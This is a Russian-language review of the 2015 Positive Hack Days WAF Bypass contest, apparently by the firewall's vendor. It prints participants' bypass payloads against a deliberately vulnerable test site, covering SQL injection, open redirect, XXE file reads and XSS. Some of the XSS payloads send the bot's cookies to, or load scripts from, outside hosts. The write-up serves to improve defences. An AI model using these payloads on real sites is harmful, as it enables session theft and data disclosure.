Как и в прошлом году, на международном форуме по практической безопасности Positive Hack Days проходил конкурс WAF Bypass. Задача участников ? обойти защиту PT Application Firewall, веб-файрвола компании Positive Technologies. Специально для конкурса был создан сайт «Choo Choo Roads» с типовыми уязвимостями: Cross-Site Scripting, SQL Injection, XML External Entities Injection, Open Redirect и др. Результатом обхода проверки для каждой уязвимости были MD5-флаги, за которые присуждались очки. Флаги располагались в файловой системе, базе данных, в cookie-параметрах, которые присваивались специальному боту, написанному с использованием Selenium.
Конфигурация WAF для конкурса предусматривала обходы, однако по результатам мы получили и нестандартные решения. Собственно, для этого конкурс и создавался ? дать возможность участникам попытать свои силы в обходе проверок и тем самым помочь нам улучшить механизмы защиты продукта. Итак, начнем обзор уязвимостей и их обходов.
Warmup
Уязвимость присутствовала в скрипте, который отслеживал активность пользователя на сайте:
POST /online.php HTTP/1.1 Host: choo-choo.phdays.com Connection: keep-alive Content-Length: 24 Content-Type: application/json User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36 {"timestamp":1432906707}
Значения поля «timestamp» из JSON-данных в POST-запросе не валидировались перед использованием в SQL-запросе:
<br /> <b>Warning</b>: pg_query(): Query failed: ERROR: invalid input syntax for integer: "1432906707' " LINE 1: UPDATE activity SET timestamp = '1432906707'' ' WHERE id=1 ^ in <b>/var/www/php/online.php</b> on line <b>8</b><br /> {"ok":false}
Обойти проверку можно было, подменив Content-Type, например на text/xml, в результате чего POST-данные не обрабатывались как JSON (проверка была отключена).
<br /> <b>Warning</b>: pg_query(): Query failed: ERROR: invalid input syntax for integer: "d2a5400fc306d25b6886612cd203a77e | 26.05 15:30 - Industry monopolist Choo Choo Roads wins a government contract for railroad construction" in <b>/var/www/php/online.php</b> on line <b>8</b><br /> {"ok":false}
XSD-валидация
На сайте присутствовала форма для поиска билетов, который осуществлялся путем формирования XML и отправки запроса на бекенд.
POST /tickets.php HTTP/1.1 Host: choo-choo.phdays.com Connection: keep-alive Content-Length: 220 Content-Type: text/xml <search id="RAILWAYS14329105659180.522099320078" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemalocation="tickets.xsd"> <from>Moscow</from> <to>Saint-Petersbourg</to> <date>30/05/2015</date> </search>
Для XML-запроса использовалась XSD-схема:
<?xml version="1.0" encoding="UTF-8" ?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="search"> <xs:complexType> <xs:sequence> <xs:element name="from" type="xs:string"/> <xs:element name="to" type="xs:string"/> <xs:element name="date" type="xs:string"/> </xs:sequence> <xs:attribute name="id" use="required"> <xs:simpleType> <xs:restriction base="xs:string"> <xs:length value="35"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:complexType> </xs:element> </xs:schema>
Атрибут «id», согласно схеме, должен иметь длину в 35 символов. Значение атрибута попадало в SQL-запрос без валидации. Для обхода требовалось сконструировать вектор, удовлетворяющий требованиям XSD-схемы.
<search id="');select box(flag) from flag--____">
<search id="');select flag::int from flag -- ">
Open Redirect
Уязвимость присутствовала в параметре «to» скрипта «redirect.php». Флаг передавался в fragment-части URL, куда совершался редирект, т. е. он не отправлялся на серверную часть. Чтобы получить флаг, было необходимо было отправить бота на сторонний сайт со страницей, которая должна была бы извлечь значение из location.hash и отправить его логгеру.
Варианты обхода:
http://choo-choo.phdays.com/redirect.php?to=phdays.com:asd@host.com
http://choo-choo.phdays.com/redirect.php?to=http://ahack.ru%23.phdays.com/
http://choo-choo.phdays.com/redirect.php?to=http%3a//www.samincube.com%3f\..\\www.phdays.com
XML External Entities Injection
Скрипт, обрабатывающий XML-данные, был подвержен XXE. Для обхода требовалось использовать внешнюю сущность внутри parameter entity:
<!DOCTYPE search [ <!ENTITY % asd "<!ENTITY % asd1 SYSTEM 'flag'>"> %asd; %asd1; ]>
Также был возможен обход с помощью кодировки UTF-16:
<?xml version="1.0" encoding="UTF-16"?>
Cross Site Scripting
Уязвимость была заложена на странице поиска по сайту. Чтобы получить флаг, требовалось отправить куки бота на свой сайт. Для обхода можно было использовать нестандартные атрибуты тэгов, которые обрабатываются библиотекой bootstrap-validator, позволяя выполнять JS-код:
http://choo-choo.phdays.com/index.php?search=<form+data-toggle="validator"><div+data-match="<img+src%3Dhttp://test.com+onerror%3Dthis.src%2B%3Ddocument.cookie/>"></div></form>
Или так:
-
http://choo-choo.phdays.com/index.php?search=<%<script src='//ahack.ru/test.js'></script>
-
http://choo-choo.phdays.com/index.php?search=<%00<script src='//artsploit.com/xss'></script>
Результаты
Как и в прошлом году, первое место заняла команда bushwhackers: Георгий Носеевич, Андрей Петухов и Александр Раздобаров. Они решили все задания еще в первый день! Второе место занял Михаил Степанкин (ArtSploit), а третье ? Эльдар Заитов ( kyprizel ). За первое место мы вручили iPad Air 2, за второе ? Sony Xperia Z3, за третье ? годовую лицензию программы Burp Suite Professional.
За время конкурса было заблокировано 271390 запросов (в два раза больше, чем в прошлом году). Зарегистрировалось 302 участника (в прошлом году 101). Лишь 18 человек смогли добыть хотя бы один флаг.
Спасибо всем участникам!